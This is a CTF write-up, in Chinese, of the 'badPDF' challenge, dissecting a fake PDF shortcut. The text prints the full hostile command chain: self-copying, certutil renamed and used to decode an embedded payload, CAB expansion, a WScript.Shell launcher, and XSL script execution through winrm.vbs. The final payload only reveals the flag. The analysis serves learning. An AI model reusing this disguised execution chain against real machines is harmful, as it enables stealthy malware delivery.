[2022HWS硬件安全冬令营 X DASCTF Jan][MISC] badPDF
[MISC] badPDF
flag{e27d3de27d3de27d3d7d3de27dde27d3}
本题主要考了misc
里的综合跟踪取证能力。
-
拿到题目,首先注意到文件类型是快捷方式,打开之后平平无奇是一个pdf界面,讲的是2020年的新冠疫情。
刚开始我也被这玩意迷惑了在这里面找flag
,但是我看到这个文档的命名不太符合ctf
出题人的风格,因此我觉得而这个应该是一个障眼法。接下来的操作其实的思路最早来源于Procmon64
的提示,运行此快捷方式时使用了Procmon64
对行为进行了跟踪,发现了可疑的msoia.exe
程序。这才开始上道由于看到文件的类型,因此可以断定这个pdf不是真实的,是一种障眼法。由于
.lnk
文件会导致使用记事本打开直接跳转到对应的应用程序(这里是cmd.exe
),因此先将拓展名改为._lnk
,之后用notepad打开之后(似乎notepad++太智能了还是跳转到cmd去了)提取关键段落:由于题目在操作上做了手脚,所以这里看到的操作命令行和
这种通过资源管理器看到的有很大的差别。
-
提取操作命令行原文为
C:\Windows\System32\cmd.exe ?/ c c o p y " 2 0 2 0 0 3 0 8 - s i t r e p - 4 8 - c o v i d - 1 9 . p d f . l n k " % t m p % \ \ g 4 Z o k y u m B B 2 g D n . t m p / y & f o r / r C : \ \ W i n d o w s \ \ S y s t e m 3 2 \ \ % i i n ( * e r t u * . e x e ) d o c o p y % i % t m p % \ \ m s o i a . e x e / y & f i n d s t r . e x e " T V N D R g A A A A " % t m p % \ \ g 4 Z o k y u m B B 2 g D n . t m p > % t m p % \ \ c S i 1 r 0 u y w D N v D u . t m p & % t m p % \ \ m s o i a . e x e - d e c o d e % t m p % \ \ c S i 1 r 0 u y w D N v D u . t m p % t m p % \ \ o G h P G U D C 0 3 t U R V . t m p & e x p a n d % t m p % \ \ o G h P G U D C 0 3 t U R V . t m p - F : * % t m p % & w s c r i p t % t m p % \ \ 9 s O X N 6 L t f 0 a f e 7 . j s . p d f
适当去除空格、格式化得到
C:\Windows\System32\cmd.exe ?/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y& for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y& findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp& %tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp& expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% & wscript %tmp%\\9sOXN6Ltf0afe7.js .pdf
根据
batch
的知识,上面的指令可以拆做几条:-
copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y
此指令将自身(注意这里的“自身”指的是lnk****)拷贝到临时文件夹下备用。其中的
/y
参数代表不询问是否覆盖。 -
for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y
这段指令看上去像是一个遍历指令,但是在
System32
下满足格式*ertu*.exe
的只有一个程序:Certutil.exe是一个命令行程序,作为证书服务的一部分安装。 可以使用 certutil.exe 来转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件,以及验证证书、密钥对和证书链。
如果 certutil 在没有其他参数的情况下在证书颁发机构中运行,则会显示当前的证书颁发机构配置。 如果 certutil 在非证书颁发机构上运行,则该命令默认运行
certutil [-dump]
命令。这里将其复制到临时文件夹根目录备用
-
findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp
从复制过去的快捷方式中查找字段
TVNDRgAAAA
并且保留到新文件cSi1r0uywDNvDu.tmp
之内。我们不太清楚这个指令的执行效果,因此可以使用辅助指令:
这里表明我们前面的重命名操作丢失了一些信息。这里使用
notepad
打开之后就可以看到在原来的所谓“快捷方式”中藏有大量的未知的base64字符。这些字符被拷贝到新的文件中,新文件像这样: -
tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp
亦即使用证书发行程序解释上述编码,存储到新的文件中。我们使用对应的辅助指令也可以看到新文件长这样:
根据文件签名:
4D 53 43 46
可以推断这是一个压缩文件。 -
expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp%
这行指令将其解压为三个文件。如图
-
script %tmp%\\9sOXN6Ltf0afe7.js
最后执行这个
js
脚本。接下来逆向这个脚本:
-
-
打开脚本之后发现其实就是
cmd
套壳。其指令为:var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);
关键指令为:
copy C:\Windows\System32\cscript.exe C:\Users\Jerry\AppData\Local\Temp\\cscript.exe\\msproof.exe /y & move /Y C:\Users\Jerry\AppData\Local\Temp\\cSi1r0uywDNvDu.tmp C:\Users\Jerry\AppData\Local\Temp\\cscript.exe\\WsmPty.xsl & C:\Users\Jerry\AppData\Local\Temp\\cscript.exe\\msproof.exe //nologo C:\WINDOWS\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty & del \"C:\Users\Jerry\AppData\Local\Temp\\cscript.exe\\WsmPty.xsl\" /f /q & \"C:\Users\Jerry\AppData\Local\Temp\\20200308-sitrep-48-covid-19.pdf\"
像刚才一样,我们也可以逐行读取上述这些指令的意思和执行结果, 在这里留给有能力的读者做练习。这段代码的大意就是生成我们看到的
pdf
障眼法。但是注意到这里只使用了两个文件。又一个落单了。那么继续分析落单的cSi1r0uywDNvDu.tmp
-
使用
notepad
打开这个文件(记事本立大功)<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="VBScript"> <![CDATA[ rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):function :end function: ]]> </ms:script> </stylesheet>
看到了这里的
CDATA
所有 XML 文档中的文本均会被解析器解析。
只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。
那么这段代码可能执行了新的事。观察其中
function
,next
在尾部等特征,猜测这是一个vbs
程序。 -
稍加修改,符合
vbs
的缩进习惯即可。
最终的程序为:Sub test() code = fun("676d60667a64333665326564333665326564333665326536653265643336656564333665327c") MsgBox (code) 'Execute (code) End Sub Function fun(arg) For i = 1 To Len(arg) Step 2 fun = fun & Chr(Asc(Chr("&h" & Mid(arg, i, 2))) Xor 1) Next End Function test()
将上述代码复制到一个新建的
vbs
文件里,使用Windows
在线解析或者使用vba
解析得到flag:
作者发布、转载的任何文章中所涉及的技术、思路、工具仅供以安全目的的学习交流,并严格遵守《中华人民共和国网络安全法》、《中华人民共和国数据安全法》等网络安全法律法规。
任何人不得将技术用于非法用途、盈利用途。否则作者不对未许可的用途承担任何后果。
本文遵守CC BY-NC-SA 3.0协议,您可以在任何媒介以任何形式复制、发行本作品,或者修改、转换或以本作品为基础进行创作
您必须给出适当的署名,提供指向本文的链接,同时标明是否(对原文)作了修改。您可以用任何合理的方式来署名,但是不得以任何方式暗示作者为您或您的使用背书。
同时,本文不得用于商业目的。混合、转换、基于本作品进行创作,必须基于同一协议(CC BY-NC-SA 3.0)分发。
如有问题, 可发送邮件咨询.